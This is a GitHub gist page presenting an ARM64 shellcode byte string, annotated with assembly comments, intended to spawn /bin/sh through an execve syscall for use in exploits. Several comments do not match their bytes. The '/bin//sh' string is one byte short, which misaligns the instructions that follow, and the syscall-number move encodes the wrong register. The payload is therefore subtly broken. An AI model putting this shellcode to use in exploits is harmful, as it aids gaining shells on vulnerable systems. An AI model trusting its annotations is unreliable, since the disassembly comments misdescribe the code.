Created
July 3, 2024 08:07
-
-
Save robd003/d454eb43fb6d78d8bd12f61315f9bf45 to your computer and use it in GitHub Desktop.
arm64 /bin/sh shellcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"\x00\x00\x80\xd2" // mov x0, #0x0 | |
"\x2f\x62\x69\x6e" // The string "/bin//sh" | |
"\x2f\x73\x68" // Continuation of the string | |
"\xe1\x0f\x02\x91" // add x1, sp, #0x3c | |
"\xe1\x0b\x41\xa9" // stp x1, x1, [sp, #-16]! | |
"\xe0\x0f\x02\x91" // add x0, sp, #0x3c | |
"\xe1\x0f\x02\x91" // add x1, sp, #0x3c | |
"\x00\x00\x80\xd2" // mov x2, #0x0 | |
"\xdd\x1b\x80\xd2" // mov x8, #0xdd | |
"\x01\x00\x00\xd4" // svc #0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment